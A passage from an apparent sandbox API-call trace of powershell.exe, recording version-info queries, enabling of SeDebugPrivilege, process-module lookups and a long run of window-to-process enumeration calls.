| out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0089.812] VerQueryValueW (in: pBlock=0x28f4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x27ece4, puLen=0x27ece0 | out: lplpBuffer=0x27ece4*=0x28f51d8, puLen=0x27ece0) returned 1 [0089.812] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0089.813] lstrcpyW (in: lpString1=0x6f7118, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0089.813] VerQueryValueW (in: pBlock=0x28f4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x27ece4, puLen=0x27ece0 | out: lplpBuffer=0x27ece4*=0x28f523c, puLen=0x27ece0) returned 1 [0089.813] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0089.813] lstrcpyW (in: lpString1=0x6f7118, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0089.813] VerQueryValueW (in: pBlock=0x28f4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x27ece4, puLen=0x27ece0 | out: lplpBuffer=0x27ece4*=0x28f52b8, puLen=0x27ece0) returned 1 [0089.813] lstrlenW (lpString="6.1.7601.17514") returned 14 [0089.813] lstrcpyW (in: lpString1=0x6f7118, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0089.813] VerQueryValueW (in: pBlock=0x28f4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x27ece4, puLen=0x27ece0 | out: lplpBuffer=0x27ece4*=0x28f4f60, puLen=0x27ece0) returned 1 [0089.813] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0089.813] lstrcpyW (in: lpString1=0x6f7118, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0089.813] VerQueryValueW (in: pBlock=0x28f4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x27ece4, puLen=0x27ece0 | out: lplpBuffer=0x27ece4*=0x0, puLen=0x27ece0) returned 0 [0089.813] VerQueryValueW (in: pBlock=0x28f4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x27ece4, puLen=0x27ece0 | out: lplpBuffer=0x27ece4*=0x0, puLen=0x27ece0) returned 0 [0089.813] VerQueryValueW (in: pBlock=0x28f4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x27ece4, puLen=0x27ece0 | out: lplpBuffer=0x27ece4*=0x0, puLen=0x27ece0) returned 0 [0089.813] VerQueryValueW (in: pBlock=0x28f4e6c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27ecd8, puLen=0x27ecd4 | out: lplpBuffer=0x27ecd8*=0x28f4f08, puLen=0x27ecd4) returned 1 [0089.815] VerLanguageNameW (in: wLang=0x0, szLang=0x6f7118, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0089.816] VerQueryValueW (in: pBlock=0x28f4e6c, lpSubBlock="\\", lplpBuffer=0x27ecec, puLen=0x27ece8 | out: lplpBuffer=0x27ecec*=0x28f4e94, puLen=0x27ece8) returned 1 [0089.827] GetCurrentProcessId () returned 0x3d4 [0089.853] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x27e524 | out: lpLuid=0x27e524*(LowPart=0x14, HighPart=0)) returned 1 [0089.854] GetLastError () returned 0x0 [0089.855] GetCurrentProcess () returned 0xffffffff [0089.855] GetLastError () returned 0x0 [0089.857] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x27e520 | out: TokenHandle=0x27e520*=0x30c) returned 1 [0089.857] GetLastError () returned 0x0 [0089.860] AdjustTokenPrivileges (in: TokenHandle=0x30c, DisableAllPrivileges=0, NewState=0x28f79ac*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0089.861] GetLastError () returned 0x0 [0089.862] CloseHandle (hObject=0x30c) returned 1 [0089.862] GetLastError () returned 0x0 [0089.868] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3d4) returned 0x30c [0089.869] GetLastError () returned 0x0 [0089.879] EnumProcessModules (in: hProcess=0x30c, lphModule=0x28f79f0, cb=0x100, lpcbNeeded=0x27ed14 | out: lphModule=0x28f79f0, lpcbNeeded=0x27ed14) returned 1 [0089.880] GetLastError () returned 0x0 [0089.884] GetModuleInformation (in: hProcess=0x30c, hModule=0x22600000, lpmodinfo=0x28f7b30, cb=0xc | out: lpmodinfo=0x28f7b30*(lpBaseOfDll=0x22600000, SizeOfImage=0x72000, EntryPoint=0x22607363)) returned 1 [0089.884] GetLastError () returned 0x0 [0089.889] GetModuleBaseNameW (in: hProcess=0x30c, hModule=0x22600000, lpBaseName=0x6f78d8, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0089.889] GetLastError () returned 0x0 [0089.890] GetModuleFileNameExW (in: hProcess=0x30c, hModule=0x22600000, lpFilename=0x6f78d8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0089.890] GetLastError () returned 0x0 [0089.891] CloseHandle (hObject=0x30c) returned 1 [0089.891] GetLastError () returned 0x0 [0089.895] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x3d4) returned 0x30c [0089.895] GetLastError () returned 0x0 [0089.897] GetExitCodeProcess (in: hProcess=0x30c, lpExitCode=0x28f6fe0 | out: lpExitCode=0x28f6fe0*=0x103) returned 1 [0089.897] GetLastError () returned 0x0 [0089.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x38f5278, Length=0x20000, ResultLength=0x27ed5c | out: SystemInformation=0x38f5278, ResultLength=0x27ed5c*=0xdea0) returned 0x0 [0089.934] EnumWindows (lpEnumFunc=0x2663612, lParam=0x0) returned 1 [0089.938] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x538 [0089.938] GetLastError () returned 0x0 [0089.938] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.938] GetLastError () returned 0x0 [0089.939] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.939] GetLastError () returned 0x0 [0089.939] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.939] GetLastError () returned 0x0 [0089.939] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x514 [0089.939] GetLastError () returned 0x0 [0089.939] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.939] GetLastError () returned 0x0 [0089.939] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x778 [0089.940] GetLastError () returned 0x0 [0089.940] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x778 [0089.940] GetLastError () returned 0x0 [0089.940] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.940] GetLastError () returned 0x0 [0089.940] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.940] GetLastError () returned 0x0 [0089.940] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.940] GetLastError () returned 0x0 [0089.941] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.941] GetLastError () returned 0x0 [0089.941] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.941] GetLastError () returned 0x0 [0089.941] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.941] GetLastError () returned 0x0 [0089.941] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.941] GetLastError () returned 0x0 [0089.941] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.941] GetLastError () returned 0x0 [0089.942] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.942] GetLastError () returned 0x0 [0089.942] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x458 [0089.942] GetLastError () returned 0x0 [0089.942] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.942] GetLastError () returned 0x0 [0089.942] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.942] GetLastError () returned 0x0 [0089.942] GetWindowThreadProcessId (in: hWnd=0x50262, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x5cc [0089.942] GetLastError () returned 0x0 [0089.944] GetWindow (hWnd=0x50262, uCmd=0x4) returned 0x0 [0089.947] IsWindowVisible (hWnd=0x50262) returned 0 [0089.947] GetWindowThreadProcessId (in: hWnd=0x5011c, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0xb50 [0089.947] GetLastError () returned 0x0 [0089.947] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x9f0 [0089.947] GetLastError () returned 0x0 [0089.947] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.948] GetLastError () returned 0x0 [0089.948] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.948] GetLastError () returned 0x0 [0089.948] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.948] GetLastError () returned 0x0 [0089.948] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.948] GetLastError () returned 0x0 [0089.948] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.948] GetLastError () returned 0x0 [0089.948] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.949] GetLastError () returned 0x0 [0089.949] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.949] GetLastError () returned 0x0 [0089.949] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.949] GetLastError () returned 0x0 [0089.949] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x9e0 [0089.949] GetLastError () returned 0x0 [0089.949] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x9d0 [0089.949] GetLastError () returned 0x0 [0089.949] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x9c0 [0089.950] GetLastError () returned 0x0 [0089.950] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x9b0 [0089.950] GetLastError () returned 0x0 [0089.950] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x9a0 [0089.950] GetLastError () returned 0x0 [0089.950] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x990 [0089.950] GetLastError () returned 0x0 [0089.950] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x980 [0089.950] GetLastError () returned 0x0 [0089.951] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x970 [0089.951] GetLastError () returned 0x0 [0089.951] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x960 [0089.951] GetLastError () returned 0x0 [0089.951] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x94c [0089.951] GetLastError () returned 0x0 [0089.951] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x93c [0089.951] GetLastError () returned 0x0 [0089.951] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x92c [0089.952] GetLastError () returned 0x0 [0089.952] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x91c [0089.952] GetLastError () returned 0x0 [0089.952] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x90c [0089.952] GetLastError () returned 0x0 [0089.952] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x8fc [0089.952] GetLastError () returned 0x0 [0089.952] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x8ec [0089.952] GetLastError () returned 0x0 [0089.953] GetWindowThreadProcessId (in: hWnd=0x20216, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x8dc [0089.953] GetLastError () returned 0x0 [0089.953] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x8c8 [0089.953] GetLastError () returned 0x0 [0089.953] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x8b8 [0089.953] GetLastError () returned 0x0 [0089.953] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x8a8 [0089.953] GetLastError () returned 0x0 [0089.953] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x898 [0089.953] GetLastError () returned 0x0 [0089.954] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x888 [0089.954] GetLastError () returned 0x0 [0089.954] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x878 [0089.954] GetLastError () returned 0x0 [0089.954] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x868 [0089.954] GetLastError () returned 0x0 [0089.954] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x858 [0089.954] GetLastError () returned 0x0 [0089.954] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x848 [0089.955] GetLastError () returned 0x0 [0089.955] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x838 [0089.955] GetLastError () returned 0x0 [0089.955] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x828 [0089.955] GetLastError () returned 0x0 [0089.955] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x818 [0089.955] GetLastError () returned 0x0 [0089.955] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x808 [0089.955] GetLastError () returned 0x0 [0089.956] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x634 [0089.956] GetLastError () returned 0x0 [0089.956] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x78c [0089.956] GetLastError () returned 0x0 [0089.956] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x704 [0089.956] GetLastError () returned 0x0 [0089.956] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x600 [0089.956] GetLastError () returned 0x0 [0089.956] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x410 [0089.957] GetLastError () returned 0x0 [0089.957] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4fc [0089.957] GetLastError () returned 0x0 [0089.957] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x20c [0089.957] GetLastError () returned 0x0 [0089.957] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x124 [0089.957] GetLastError () returned 0x0 [0089.957] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x620 [0089.957] GetLastError () returned 0x0 [0089.958] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x734 [0089.958] GetLastError () returned 0x0 [0089.958] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x6dc [0089.958] GetLastError () returned 0x0 [0089.958] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x6fc [0089.958] GetLastError () returned 0x0 [0089.958] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x138 [0089.958] GetLastError () returned 0x0 [0089.958] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x5ac [0089.958] GetLastError () returned 0x0 [0089.958] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x48c [0089.959] GetLastError () returned 0x0 [0089.959] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x7e4 [0089.959] GetLastError () returned 0x0 [0089.959] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x788 [0089.959] GetLastError () returned 0x0 [0089.959] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x7e0 [0089.959] GetLastError () returned 0x0 [0089.959] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x418 [0089.959] GetLastError () returned 0x0 [0089.959] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x15c [0089.959] GetLastError () returned 0x0 [0089.959] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x798 [0089.959] GetLastError () returned 0x0 [0089.959] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x5d4 [0089.959] GetLastError () returned 0x0 [0089.959] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x7cc [0089.960] GetLastError () returned 0x0 [0089.960] GetWindowThreadProcessId (in: hWnd=0x20172, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x2a8 [0089.960] GetLastError () returned 0x0 [0089.960] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x23c [0089.960] GetLastError () returned 0x0 [0089.960] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x560 [0089.960] GetLastError () returned 0x0 [0089.960] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x564 [0089.960] GetLastError () returned 0x0 [0089.960] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x7a8 [0089.960] GetLastError () returned 0x0 [0089.960] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x76c [0089.960] GetLastError () returned 0x0 [0089.960] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x90 [0089.960] GetLastError () returned 0x0 [0089.960] GetWindowThreadProcessId (in: hWnd=0x2011e, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x6ec [0089.961] GetLastError () returned 0x0 [0089.961] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4f0 [0089.961] GetLastError () returned 0x0 [0089.961] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x514 [0089.961] GetLastError () returned 0x0 [0089.961] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x50c [0089.961] GetLastError () returned 0x0 [0089.961] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x514 [0089.961] GetLastError () returned 0x0 [0089.961] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x50c [0089.961] GetLastError () returned 0x0 [0089.961] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x514 [0089.961] GetLastError () returned 0x0 [0089.961] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4f0 [0089.961] GetLastError () returned 0x0 [0089.961] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4f0 [0089.961] GetLastError () returned 0x0 [0089.962] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x58c [0089.962] GetLastError () returned 0x0 [0089.962] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x578 [0089.962] GetLastError () returned 0x0 [0089.962] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x458 [0089.962] GetLastError () returned 0x0 [0089.962] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x530 [0089.962] GetLastError () returned 0x0 [0089.962] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.962] GetLastError () returned 0x0 [0089.962] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x508 [0089.962] GetLastError () returned 0x0 [0089.962] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.962] GetLastError () returned 0x0 [0089.964] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4f4 [0089.964] GetLastError () returned 0x0 [0089.964] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.964] GetLastError () returned 0x0 [0089.964] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.964] GetLastError () returned 0x0 [0089.964] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x794 [0089.964] GetLastError () returned 0x0 [0089.964] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.964] GetLastError () returned 0x0 [0089.964] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.964] GetLastError () returned 0x0 [0089.964] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x458 [0089.964] GetLastError () returned 0x0 [0089.964] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x458 [0089.964] GetLastError () returned 0x0 [0089.965] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x448 [0089.965] GetLastError () returned 0x0 [0089.965] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x778 [0089.965] GetLastError () returned 0x0 [0089.965] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x458 [0089.965] GetLastError () returned 0x0 [0089.965] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x538 [0089.965] GetLastError () returned 0x0 [0089.965] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.965] GetLastError () returned 0x0 [0089.965] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4ac [0089.965] GetLastError () returned 0x0 [0089.965] GetWindowThreadProcessId (in: hWnd=0x3015c, lpdwProcessId=0x27e9b0 